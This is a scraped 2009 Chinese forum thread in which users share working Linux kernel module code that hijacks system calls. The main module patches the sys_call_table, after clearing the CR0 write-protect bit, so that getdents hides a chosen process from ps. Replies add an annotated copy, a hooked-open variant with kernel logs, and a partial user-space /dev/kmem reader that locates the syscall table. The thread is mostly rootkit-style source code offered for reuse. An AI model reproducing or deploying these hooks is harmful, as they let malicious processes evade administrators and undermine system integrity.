首页 手机软件 手机游戏 单机游戏 资讯文章 专题下载 游戏合集 文章合集 php下载 php教程 电脑软件
+ -
当前位置：首页 → 问答吧 → [原创]关于劫持系统调用隐藏进程的一些心得

[原创]关于劫持系统调用隐藏进程的一些心得

时间：2009-09-17

来源：互联网

网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.
unsigned int clear_and_return_cr0(void);
void setback_cr0(unsigned int val);

2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

关于隐藏进程的原理,可以查看其他相关文章,主要是通过int 0x80 找sys_call_table的地址.

博客地址:http://blog.chinaunix.net/u3/103654/showart.php?id=2053976

测试环境: ubuntu9.04 内核版本2.6.28

模块代码如下:

/*hideps.c*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
//#include <sys/stat.h>
//#include <fcntl.h>
#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

int orig_cr0;
char psname[10]="looptest";
char *processname=psname;

//module_param(processname, charp, 0);
struct {
    unsigned short limit;
    unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none,flags;
    unsigned short off2;
} __attribute__ ((packed)) * idt;

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

void** sys_call_table;

unsigned int clear_and_return_cr0(void)
{
    unsigned int cr0 = 0;
    unsigned int ret;

    asm volatile ("movl %%cr0, %%eax"
            : "=a"(cr0)
         );
    ret = cr0;

    /*clear the 20th bit of CR0,*/
    cr0 &= 0xfffeffff;
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(cr0)
         );
    return ret;
}

void setback_cr0(unsigned int val)
{
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(val)
         );
}


asmlinkage long (*orig_getdents)(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count);

char * findoffset(char *start)
{
    char *p;
    for (p = start; p < start + CALLOFF; p++)
    if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
        return p;
    return NULL;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
    {
        if (*ptr < '0' || *ptr > '9')
            return (-1);
        res += (*ptr - '0') * mul;
        mul *= 10;
    }
    if(res>0 && res< 9999)
        printk(KERN_INFO "pid=%d,",res);
    printk("\n");
    return (res);
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = get_current(),*entry=NULL;
    list_for_each_entry(entry,&(p->tasks),tasks)
    {
        if(entry->pid == pid)
        {
            printk("pid found=%d\n",entry->pid);
            return entry;
        }
        else
        {
    //    printk(KERN_INFO "pid=%d not found\n",pid);
        }
    }
    return NULL;
}

static inline char *get_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;
    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n')
        {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

int get_process(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    //    char *buffer[64] = {0};
    char buffer[64];
    if (task)
    {
        get_name(task, buffer);
    //    if(pid>0 && pid<9999)
    //    printk(KERN_INFO "task name=%s\n",*buffer);
        if(strstr(buffer,processname))
            return 1;
        else
            return 0;
    }
    else
        return 0;
}

asmlinkage long hacked_getdents(unsigned int fd,
                    struct linux_dirent __user *dirp, unsigned int count)
{
    //added by lsc for process
    long value;
    //    struct inode *dinode;
    unsigned short len = 0;
    unsigned short tlen = 0;
//    struct linux_dirent *mydir = NULL;
//end
    //在这里调用一下sys_getdents,得到返回的结果
    value = (*orig_getdents) (fd, dirp, count);
    tlen = value;
    //遍历得到的目录列表
    while(tlen > 0)
    {
        len = dirp->d_reclen;
        tlen = tlen - len;
        printk("%s\n",dirp->d_name);
                              
        if(get_process(myatoi(dirp->d_name)) )
        {
            printk("find process\n");
        //发现匹配的进程，调用memmove将这条进程覆盖掉
            memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
            value = value - len;
            printk(KERN_INFO "hide successful.\n");
        }
        if(tlen)
            dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
    }
    printk(KERN_INFO "finished hacked_getdents.\n");
    return value;
}


void **get_sct_addr(void)
{
    unsigned sys_call_off;
    unsigned sct = 0;
    char *p;
    asm("sidt %0":"=m"(idtr));
    idt = (void *) (idtr.base + 8 * 0x80);
    sys_call_off = (idt->off2 << 16) | idt->off1;
    if ((p = findoffset((char *) sys_call_off)))
        sct = *(unsigned *) (p + 3);
    return ((void **)sct);
}


static int filter_init(void)
{
    //得到sys_call_table的偏移地址
    sys_call_table = get_sct_addr();
    if (!sys_call_table)
    {
        printk("get_act_addr(): NULL...\n");
        return 0;
    }
    else
        printk("sct: 0x%x\n", (unsigned int)sys_call_table);
    //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
    orig_getdents = sys_call_table[__NR_getdents];

    orig_cr0 = clear_and_return_cr0();
    sys_call_table[__NR_getdents] = hacked_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module loaded.\n");
                return 0;
}


static void filter_exit(void)
{
    orig_cr0 = clear_and_return_cr0();
    if (sys_call_table)
    sys_call_table[__NR_getdents] = orig_getdents;
    setback_cr0(orig_cr0);
    printk(KERN_INFO "hideps: module removed\n");
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");

makefile文件如下:

obj-m   :=hideps.o
EXTRA_CFLAGS := -Dsymname=sys_call_table
KDIR   := /lib/modules/$(shell uname -r)/build
PWD   := $(shell pwd)
default:
        $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
        $(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*


编写一个测试程序looptest.c,如下:
#include<stdio.h>

int main(void)
{
    while(1);
    return 0;
}

编译该测试程序,#gcc looptest.c -o looptest
并将该程序在后台运行,然后insmod 驱动模块hideps.ko,然后输入ps查看进程,可发现,looptest进程看不到了....

[ 本帖最后由 g84ch 于 2009-9-17 10:07 编辑 ]

作者: g84ch   发布时间: 2009-09-17

好文章。不知LZ的这个程序和内核版本关联紧密否，手头上只有2.6.18的内核。

作者: Godbach   发布时间: 2009-09-17

可以看一下这个:
http://blog.chinaunix.net/u/12592/showart_1903466.html

作者: CUDev   发布时间: 2009-09-17

2.6.18?是redhat的release吧,呵呵,应该是可以的,不过红帽中对ps的系统调用是sys_getdents还是sys_getdents64,这我没有去看,在ubuntu9.04中用的是sys_getdents,所以我程序里面劫持的它.

作者: Godbach:   发布时间: 2009-09-17

代码的那个文件下载了是乱码,你能传个附件到这里来吗?谢谢...呵呵...

作者: g84ch   发布时间: 2009-09-17

对，RH发行了2.6.18的内核版本，不过我自己也从kernel.org上下载了干净的2.6.18.3的内核，现在玩的就自己下载的

作者: g84ch   发布时间: 2009-09-17

strace一下，看是哪个系统调用

作者: Godbach   发布时间: 2009-09-17

我觉得两点可以改系统调用  一 在lib库里可以改动系统用 二 在call.s可以改 至于调用的函数你可以自己定义

作者: CUDev   发布时间: 2009-09-17

cublog的附件处理将tar.gz全部改为了.tgz后缀，可能会导致解压的时候直解压到tar文件。再对tar文件解压即可。
或者是tar xzvf xxxx.tgz

作者: ninver   发布时间: 2009-09-17

好贴，支持。utu:" />


追加了点注释。
  1. /*hideps.c*/

  3. #include <linux/module.h>
  4. #include <linux/kernel.h>
  5. #include <asm/unistd.h>
  6. #include <linux/types.h>
  7. #include <linux/sched.h>
  8. #include <linux/dirent.h>
  9. #include <linux/string.h>
  10. #include <linux/file.h>
  11. #include <linux/fs.h>
  12. #include <linux/list.h>
  13. #include <asm/uaccess.h>
  14. #include <linux/unistd.h>
  15. //#include <sys/stat.h>
  16. //#include <fcntl.h>

  18. #define CALLOFF 100

  20. //使用模块参数来定义需要隐藏的进程名

  22. int orig_cr0;
  23. char psname[10] = "looptest";
  24. char *processname = psname;

  26. //module_param(processname, charp, 0);

  28. // idtr register
  29. struct {
  30.     unsigned short limit;// 16 bit(bit0-15)
  31.     unsigned int base;    // 32 bit(bit16-47)
  32. } __attribute__ ((packed)) idtr;

  34. // idt entity(8byte)
  35. struct {
  36.     unsigned short off1; // offset bit0-15(bit0-15)
  37.     unsigned short sel; //segment selector (bit16-31)
  38.     unsigned char none,flags; //none:(bit32-39), flag:(bit40-47)
  39.     unsigned short off2; //offset bit16-31(bit48-63)
  40. } __attribute__ ((packed)) * idt;

  42. struct linux_dirent{
  43.     unsigned long     d_ino;
  44.     unsigned long     d_off;
  45.     unsigned short    d_reclen;
  46.     char    d_name[1];
  47. };

  49. void** sys_call_table;

  51. //clear bit19(20th bit) of cr0 and return original cr0
  52. unsigned int clear_and_return_cr0(void)
  53. {
  54.     unsigned int cr0 = 0;
  55.     unsigned int ret;

  57.     asm volatile ("movl %%cr0, %%eax"
  58.             : "=a"(cr0)
  59.          );
  60.     ret = cr0;

  62.     /*clear the 20th bit of CR0,*/
  63.     cr0 &= 0xfffeffff;
  64.     asm volatile ("movl %%eax, %%cr0"
  65.             :
  66.             : "a"(cr0)
  67.          );
  68.     return ret;
  69. }

  71. // restore cr0 with original value
  72. void setback_cr0(unsigned int val)
  73. {
  74.     asm volatile ("movl %%eax, %%cr0"
  75.             :
  76.             : "a"(val)
  77.          );
  78. }

  80. // original system call func
  81. asmlinkage long (*orig_getdents)(unsigned int fd,
  82.                     struct linux_dirent __user *dirp, unsigned int count);

  84. // get addr start with 0xff 0x14 0x85
  85. char * findoffset(char *start)
  86. {
  87.     char *p;
  88.     for (p = start; p < start + CALLOFF; p++)
  89.         // In x86 machine code,   call *sys_call_table(,%eax,4)
  90.         // is translated to   0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
  91.         // the 4 ‘addr’ bytes form the address of 'sys_call_table[]'
  92.         if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
  93.             return p;
  94.     return NULL;
  95. }

  97. // convert a digital string to int
  98. int myatoi(char *str)
  99. {
  100.     int res = 0;
  101.     int mul = 1;
  102.     char *ptr;
  103.     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
  104.     {
  105.         // not digit
  106.         if (*ptr < '0' || *ptr > '9')
  107.             return (-1);
  108.         res += (*ptr - '0') * mul;
  109.         mul *= 10;
  110.     }
  111.     if(res>0 && res< 9999)
  112.         printk(KERN_INFO "pid=%d,",res);
  113.     printk("\n");
  114.     return (res);
  115. }

  117. // get task_struct by pid
  118. struct task_struct *get_task(pid_t pid)
  119. {
  120.     struct task_struct *p = get_current(),*entry=NULL;
  121.     list_for_each_entry(entry,&(p->tasks),tasks)
  122.     {
  123.         if(entry->pid == pid)
  124.         {
  125.             printk("pid found=%d\n",entry->pid);
  126.             return entry;
  127.         }
  128.     }
  129.     printk(KERN_INFO "pid=%d not found\n",pid);
  130.     return NULL;
  131. }

  133. // get task's name
  134. static inline char *get_name(struct task_struct *p, char *buf)
  135. {
  136.     int i;
  137.     char *name;
  138.     name = p->comm;
  139.     i = sizeof(p->comm);
  140.     do {
  141.         unsigned char c = *name;
  142.         name++;
  143.         i--;
  144.         *buf = c;
  145.         if (!c)
  146.             break;
  147.         if (c == '\\') {
  148.             buf[1] = c;
  149.             buf += 2;
  150.             continue;
  151.         }
  152.         if (c == '\n')
  153.         {
  154.             buf[0] = '\\';
  155.             buf[1] = 'n';
  156.             buf += 2;
  157.             continue;
  158.         }
  159.         buf++;
  160.     }
  161.     while (i);
  162.     *buf = '\n';
  163.     return buf + 1;
  164. }

  166. // check if pid is which we want to hook
  167. int get_process(pid_t pid)
  168. {
  169.     struct task_struct *task = get_task(pid);
  170.     //    char *buffer[64] = {0};
  171.     char buffer[64];
  172.     if (task)
  173.     {
  174.         get_name(task, buffer);
  175.     //    if(pid>0 && pid<9999)
  176.     //    printk(KERN_INFO "task name=%s\n",*buffer);
  177.         if(strstr(buffer,processname))
  178.             return 1;
  179.         else
  180.             return 0;
  181.     }
  182.     else
  183.         return 0;
  184. }

  186. //hook func
  187. asmlinkage long hacked_getdents(unsigned int fd,
  188.                     struct linux_dirent __user *dirp, unsigned int count)
  189. {
  190. //added by lsc for process
  191.     long value;
  192.     //    struct inode *dinode;
  193.     unsigned short len = 0;
  194.     unsigned short tlen = 0;
  195. //    struct linux_dirent *mydir = NULL;
  196. //end
  197.     //在这里调用一下sys_getdents,得到返回的结果
  198.     value = (*orig_getdents) (fd, dirp, count);
  199.     tlen = value;
  200.     //遍历得到的目录列表
  201.     while(tlen > 0)
  202.     {
  203.         len = dirp->d_reclen;
  204.         tlen = tlen - len;
  205.         printk("%s\n",dirp->d_name);
  206.                               
  207.         if(get_process(myatoi(dirp->d_name)) )
  208.         {
  209.             printk("find process\n");
  210.             //发现匹配的进程，调用memmove将这条进程覆盖掉
  211.             memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
  212.             value = value - len;
  213.             printk(KERN_INFO "hide successful.\n");
  214.         }
  215.         if(tlen)
  216.             dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
  217.     }
  218.     printk(KERN_INFO "finished hacked_getdents.\n");
  219.     return value;
  220. }


  223. void **get_sct_addr(void)
  224. {
  225.     unsigned sys_call_off;
  226.     unsigned sct = 0;
  227.     char *p;

  229.     // get idtr using sidt
  230.     asm("sidt %0":"=m"(idtr));

  232.     // get system_call idt
  233.     idt = (void *) (idtr.base + 8 * 0x80);

  235.     // get offset(address of system_call func)
  236.     sys_call_off = (idt->off2 << 16) | idt->off1;

  238.     // get call *sys_call_table(,%eax,4)
  239.     if ((p = findoffset((char *) sys_call_off)))
  240.         // add   0xff 0x14 0x85 3bytes
  241.         sct = *(unsigned *) (p + 3);
  242.     // sys_call_table
  243.     return ((void **)sct);
  244. }


  247. static int filter_init(void)
  248. {
  249.     //得到sys_call_table的偏移地址
  250.     sys_call_table = get_sct_addr();
  251.     if (!sys_call_table)
  252.     {
  253.         printk("get_act_addr(): NULL...\n");
  254.         return 0;
  255.     }
  256.     else
  257.         printk("sct: 0x%x\n", (unsigned int)sys_call_table);
  258.     //将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents
  259.     orig_getdents = sys_call_table[__NR_getdents];

  261.     orig_cr0 = clear_and_return_cr0();
  262.     sys_call_table[__NR_getdents] = hacked_getdents;
  263.     setback_cr0(orig_cr0);
  264.     printk(KERN_INFO "hideps: module loaded.\n");
  265.     return 0;
  266. }


  269. static void filter_exit(void)
  270. {
  271.     orig_cr0 = clear_and_return_cr0();
  272.     if (sys_call_table)
  273.     sys_call_table[__NR_getdents] = orig_getdents;
  274.     setback_cr0(orig_cr0);
  275.     printk(KERN_INFO "hideps: module removed\n");
  276. }
  277. module_init(filter_init);
  278. module_exit(filter_exit);
  279. MODULE_LICENSE("GPL");
复制代码

[ 本帖最后由 chenbdchenbd 于 2009-9-17 18:43 编辑 ]

作者: CUDev   发布时间: 2009-09-17

感谢感谢~~~

作者: chenbdchenbd   发布时间: 2009-09-18

2.6.18.3的内核，编译完之后先insmod内核模块，系统死掉，没有任何打印信息。

作者: g84ch   发布时间: 2009-09-21

先执行那个程序，然后再insmod也死掉。看来可以慢慢调试一把了，呵呵。

作者: Godbach   发布时间: 2009-09-21

可以试试把清CR0寄存器的那两步操作给去掉,再试试...

作者: Godbach   发布时间: 2009-09-22



QUOTE:
原帖由 g84ch 于 2009-9-22 09:49 发表
可以试试把清CR0寄存器的那两步操作给去掉,再试试...


2.6下不清的话，应该是只读的吧。昨天也看了albcamus版主的那个帖子。

作者: g84ch   发布时间: 2009-09-22

用这种方法是最稳定的进程隐藏方式了， 不过也tooooooooooooooooooooooold了， 稍微新点的可以patch vfs层函数指针的方法， 或者现在用inlinke hook filldir64函数的方式～

作者: Godbach   发布时间: 2009-09-22

我也还没试,你知道是什么问题了吗?如果知道,分享一下吧....呵呵....

作者: W.Z.T   发布时间: 2009-09-23

感谢这位大哥赐教~~~

作者: g84ch   发布时间: 2009-09-23



QUOTE:
原帖由 g84ch 于 2009-9-23 09:33 发表
我也还没试,你知道是什么问题了吗?如果知道,分享一下吧....呵呵....



LZ，你说没试，是指的你的程序还是其他？

作者: g84ch   发布时间: 2009-09-23



QUOTE:
原帖由 g84ch 于 2009-9-23 09:34 发表
感谢这位大哥赐教~~~



不好意思， 看成是文件的隐藏了， filldir64是用来隐藏文件的

作者: Godbach   发布时间: 2009-09-23

我没有在redhat上的试过，不过ubuntu上是试过的。。。

作者: W.Z.T   发布时间: 2009-09-23

测试了albcamus版主给的劫持execve，open调用的例程。由于我的2.6.18的内核上的有个结构体和2.6.22（albcamus版主的例程）上的不一致，暂时屏蔽了劫持execve的代码，这里仅劫持open系统调用，修改后的代码如下：
  1. #include <linux/kernel.h>
  2. #include <linux/init.h>
  3. #include <linux/module.h>
  4. #include <linux/kprobes.h>
  5. #include <linux/kallsyms.h>
  6. #include <linux/sched.h>
  7. #include <linux/ptrace.h>
  8. #include <linux/mm.h>
  9. #include <linux/smp.h>
  10. #include <linux/user.h>
  11. #include <linux/errno.h>
  12. #include <linux/cpu.h>
  13. #include <asm/uaccess.h>
  14. #include <asm/fcntl.h>
  15. #include <asm/unistd.h>

  17. MODULE_DESCRIPTION("Intercept the system call table in Linux");
  18. MODULE_AUTHOR("alert7 ([email][email protected][/email]) \n\t\talbcamus <[email][email protected][/email]>");
  19. MODULE_LICENSE("GPL");


  22. /* comment the following line to shut me up */
  23. #define INTERCEPT_DEBUG

  25. #ifdef INTERCEPT_DEBUG
  26.     #define dbgprint(format,args...) \
  27.         printk("intercept: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
  28. #else
  29.     #define dbgprint(format,args...)  do {} while(0);
  30. #endif


  33. /**
  34. * the system call table
  35. */
  36. void **my_table;

  38. unsigned int orig_cr0;

  40. /**
  41. * the original syscall functions
  42. */
  43. asmlinkage long (*old_open) (char __user *filename, int flags, int mode);
  44. asmlinkage int  (*old_execve) (struct pt_regs regs);



  48. /** do_execve and do_fork */
  49. unsigned int can_exec_fork = 0;
  50. int    (*new_do_execve) (char * filename,
  51.             char __user *__user *argv,
  52.             char __user *__user *envp,
  53.             struct pt_regs * regs);


  56. struct idtr {
  57.     unsigned short limit;
  58.     unsigned int base;
  59. } __attribute__ ((packed));


  62. struct idt {
  63.     unsigned short off1;
  64.     unsigned short sel;
  65.     unsigned char none, flags;
  66.     unsigned short off2;
  67. } __attribute__ ((packed));


  70. #if 0
  71. /**
  72. *  check if we can intercept fork/vfork/clone/execve or not
  73. *
  74. *  return : 0 for no, 1 for yes
  75. */
  76. struct kprobe kp_exec;
  77. unsigned int can_intercept_fork_exec(void)
  78. {
  79.     int ret = 0;

  81. #ifndef CONFIG_KPROBES
  82.     return ret;
  83. #endif

  85.     kp_exec.symbol_name = "do_execve";

  87.     ret = register_kprobe(&kp_exec);
  88.     if (ret != 0 ) {
  89.         dbgprint("cannot find do_execve by kprobe.\n");
  90.         return 0;
  91.     }
  92.     new_do_execve = ( int (*)
  93.              (char *,
  94.               char __user * __user *,
  95.               char __user * __user *,
  96.               struct pt_regs *
  97.              )
  98.             ) kp_exec.addr;

  100.     dbgprint("do_execve at %p\n", (void *)kp_exec.addr);
  101.     unregister_kprobe(&kp_exec);


  104.     return 1;
  105. }

  107. #endif

  109. /**
  110. * clear WP bit of CR0, and return the original value
  111. */
  112. unsigned int clear_and_return_cr0(void)
  113. {
  114.     unsigned int cr0 = 0;
  115.     unsigned int ret;

  117.     asm volatile ("movl %%cr0, %%eax"
  118.               : "=a"(cr0)
  119.               );
  120.     ret = cr0;

  122.     /* clear the 20 bit of CR0, a.k.a WP bit */
  123.     cr0 &= 0xfffeffff;

  125.     asm volatile ("movl %%eax, %%cr0"
  126.               :
  127.               : "a"(cr0)
  128.               );
  129.     return ret;
  130. }

  132. /** set CR0 with new value
  133. *
  134. * @val : new value to set in cr0
  135. */
  136. void setback_cr0(unsigned int val)
  137. {
  138.     asm volatile ("movl %%eax, %%cr0"
  139.               :
  140.               : "a"(val)
  141.               );
  142. }


  145. /**
  146. * Return the first appearence of NEEDLE in HAYSTACK.  
  147. * */
  148. static void *memmem(const void *haystack, size_t haystack_len,
  149.             const void *needle, size_t needle_len)
  150. {/*{{{*/
  151.     const char *begin;
  152.     const char *const last_possible
  153.         = (const char *) haystack + haystack_len - needle_len;

  155.     if (needle_len == 0)
  156.         /* The first occurrence of the empty string is deemed to occur at
  157.            the beginning of the string.  */
  158.         return (void *) haystack;

  160.     /* Sanity check, otherwise the loop might search through the whole
  161.        memory.  */
  162.     if (__builtin_expect(haystack_len < needle_len, 0))
  163.         return NULL;

  165.     for (begin = (const char *) haystack; begin <= last_possible;
  166.          ++begin)
  167.         if (begin[0] == ((const char *) needle)[0]
  168.             && !memcmp((const void *) &begin[1],
  169.                    (const void *) ((const char *) needle + 1),
  170.                    needle_len - 1))
  171.             return (void *) begin;

  173.     return NULL;
  174. }/*}}}*/


  177. /**
  178. * Find the location of sys_call_table
  179. */
  180. static unsigned long get_sys_call_table(void)
  181. {/*{{{*/
  182. /* we'll read first 100 bytes of int $0x80 */
  183. #define OFFSET_SYSCALL 100        

  185.     struct idtr idtr;
  186.     struct idt idt;
  187.     unsigned sys_call_off;
  188.     unsigned retval;
  189.     char sc_asm[OFFSET_SYSCALL], *p;

  191.     /* well, let's read IDTR */
  192.     asm("sidt %0":"=m"(idtr)
  193.              :
  194.              :"memory" );

  196.     dbgprint("idtr base at 0x%X\n", (unsigned int)idtr.base);

  198.     /* Read in IDT for vector 0x80 (syscall) */
  199.     memcpy(&idt, (char *) idtr.base + 8 * 0x80, sizeof(idt));

  201.     sys_call_off = (idt.off2 << 16) | idt.off1;

  203.     dbgprint("idt80: flags=%X sel=%X off=%X\n",
  204.                  (unsigned) idt.flags, (unsigned) idt.sel, sys_call_off);

  206.     /* we have syscall routine address now, look for syscall table
  207.        dispatch (indirect call) */
  208.     memcpy(sc_asm, (void *)sys_call_off, OFFSET_SYSCALL);

  210.     /**
  211.      * Search opcode of `call sys_call_table(,eax,4)'
  212.      */
  213.     p = (char *) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\x85", 3);
  214.     if (p == NULL)
  215.         return 0;

  217.     retval = *(unsigned *) (p + 3);
  218.     if (p) {
  219.         dbgprint("sys_call_table at 0x%x, call dispatch at 0x%x\n",
  220.              retval, (unsigned int) p);
  221.     }
  222.     return retval;
  223. #undef OFFSET_SYSCALL
  224. }/*}}}*/



  228. /**
  229. * new_open - replace the original sys_open when initilazing,
  230. *           as well as be got rid of when removed
  231. */
  232. asmlinkage long new_open(char *filename, int flags, int mode)
  233. {
  234.     dbgprint("hello\n");
  235.     return old_open (filename, flags, mode);
  236. }


  239. /**
  240. * new_execve - you should change this function whenever the kernel's sys_execve()
  241. * changes
  242. */
  243. asmlinkage int new_execve(struct pt_regs regs)
  244. {
  245.     int error;
  246.     char *filename;

  248.     dbgprint("Hello\n");

  250.     filename = getname( (char __user *) regs.ebx );
  251.     error = PTR_ERR(filename);
  252.     if ( IS_ERR(filename) )
  253.         goto out;
  254.     dbgprint("file to execve: %s\n", filename);
  255.     error = new_do_execve(filename,
  256.                   (char __user * __user *) regs.ecx,
  257.                   (char __user * __user *) regs.edx,
  258.                   &regs);
  259.     if (error == 0) {
  260.         task_lock(current);
  261.         current->ptrace &= ~PT_DTRACE;
  262.         task_unlock(current);
  263.         set_thread_flag(TIF_IRET);
  264.     }
  265.     putname (filename);
  266. out:
  267.     return error;
  268. }

  270. static int intercept_init(void)
  271. {
  272.     my_table = (void **)get_sys_call_table();
  273.     if (my_table == NULL)
  274.         return -1;

  276.     dbgprint("sys call table address %p\n", (void *) my_table);

  278. #define REPLACE(x) old_##x = my_table[__NR_##x];\
  279.     my_table[__NR_##x] = new_##x

  281.    
  282.     REPLACE(open);
  283. #if 0
  284.     can_exec_fork = can_intercept_fork_exec();
  285.     if(can_exec_fork == 1)
  286.         REPLACE(execve);
  287. #endif

  289. #undef REPLACE
  290.     return 0;
  291. }





  297. static int __init this_init(void)
  298. {
  299.     int ret;
  300.     printk("syscall intercept: Hi, poor linux!\n");

  302.     orig_cr0 = clear_and_return_cr0();   
  303.     ret = intercept_init();
  304.     setback_cr0(orig_cr0);

  306.     return ret;
  307. }

  309. static void __exit this_fini(void)
  310. {
  311.     printk("syscall intercept: bye, poor linux!\n");

  313. #define RESTORE(x) my_table[__NR_##x] = old_##x

  315.     orig_cr0 = clear_and_return_cr0();   
  316.     RESTORE(open);
  317. #if 0
  318.     if(can_exec_fork == 1)
  319.         RESTORE(execve);
  320. #endif
  321.     setback_cr0(orig_cr0);

  323. #undef RESTORE
  324. }

  326. module_init(this_init);
  327. module_exit(this_fini);
复制代码


然后查看一下日志，看到如下信息：


QUOTE:
Sep 24 19:06:49 localhost kernel: intercept: function:get_sys_call_table-L220: sys_call_table at 0xc11f14e0, call dispatch at 0xcebeceaa
Sep 24 19:06:49 localhost kernel: intercept: function:intercept_init-L276: sys call table address c11f14e0
Sep 24 19:06:50 localhost kernel: intercept: function:new_open-L234: hello
Sep 24 19:07:00 localhost last message repeated 460 times


可见open系统调用被成功劫持，而且系统在执行的过程中，open的调用是很频繁的。

作者: g84ch   发布时间: 2009-09-24

关于CR0的问题,当时困扰了我很久....CU上的帖子真是好资源啊~~~~

作者: Godbach   发布时间: 2009-09-25



QUOTE:
原帖由 g84ch 于 2009-9-25 11:24 发表
关于CR0的问题,当时困扰了我很久....CU上的帖子真是好资源啊~~~~



呵呵，众人拾柴火焰高啊

作者: g84ch   发布时间: 2009-09-25

作者: Godbach   发布时间: 2009-10-12

网上看到一个用户态获取syscall table地址的例程，计算出的idtr.base地址和我上面给出的内核模块计算出的不一样，用户态例程链接为http://www.phpweblog.net/GaRY/ar ... _table_address.html，源码如下：
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/stat.h>
  6. #include <fcntl.h>
  7. #include <unistd.h>
  8. #include <errno.h>
  9. #include <sys/mman.h>
  10. #define CALLOFF 100 //读取100字节

  12. struct {

  14.     unsigned short limit;

  16.     unsigned int base;

  18. } __attribute__ ((packed)) idtr;    //这个结构表示IDTR寄存器，这个寄存器中保存中断描述符表 的地址


  21. struct {

  23.     unsigned short off1;

  25.     unsigned short sel;

  27.     unsigned char none,flags;

  29.     unsigned short off2;

  31. } __attribute__ ((packed)) idt;    //中断描述符表中的内容：中断门描述符


  34. unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容

  36. {

  38.     if (lseek(fd, off,SEEK_SET)!=off)
  39.     {

  41.         //perror("fd lseek");
  42.         return 0;
  43.     }

  45.     if (read(fd, buf,size)!=size)
  46.     {

  48.         //perror("fd read");
  49.         return 0;
  50.     }

  52. }


  55. unsigned long  readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容
  56. {
  57.     size_t    moff, roff;
  58.     size_t     sz = getpagesize();
  59.    
  60.     char * kmap;
  61.    
  62.     unsigned long  ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap
  63.     if (ret_old != 0)
  64.         return ret_old;
  65.    
  66.     moff = ((size_t)(off/sz)) * sz;      
  67.     roff = off - moff;   
  68.    
  69.     kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff);
  70.    
  71.     if (kmap == MAP_FAILED)
  72.     {
  73.         perror("readkmem: mmap");
  74.         return 0;
  75.     }
  76.    
  77.     memcpy (buf, &kmap[roff], size);
  78.    
  79.     if (munmap(kmap, size) != 0)
  80.     {
  81.         perror("readkmem: munmap");
  82.         return 0;
  83.     }
  84.    
  85.     return size;
  86. }

  88. int main (int argc, char **argv)

  90. {

  92.     unsigned sys_call_off;

  94.     int kmem_fd;    // /dev/kmem文件描述符

  96.     unsigned sct;

  98.     char sc_asm[CALLOFF],*p;

  100.    
  101.         /* 获得IDTR寄存器的值 */

  103.     asm ("sidt %0" : "=m" (idtr));

  105.     printf("idtr base at 0x%X\n",(int)idtr.base);

  107.    
  108.         /* 打开kmem */

  110.     kmem_fd = open ("/dev/kmem",O_RDONLY);

  112.     if (kmem_fd<0) return 1;

  114.    
  115.         /* 从IDT读出0x80向量 (syscall) */

  117.     readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移

  119.     sys_call_off = (idt.off2 << 16) | idt.off1;        //idt.off2 表示地址的前16位，得到syscall地址

  121.     printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

  123.    
  124.         /* 寻找sys_call_table的地址 */

  126.     readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);      

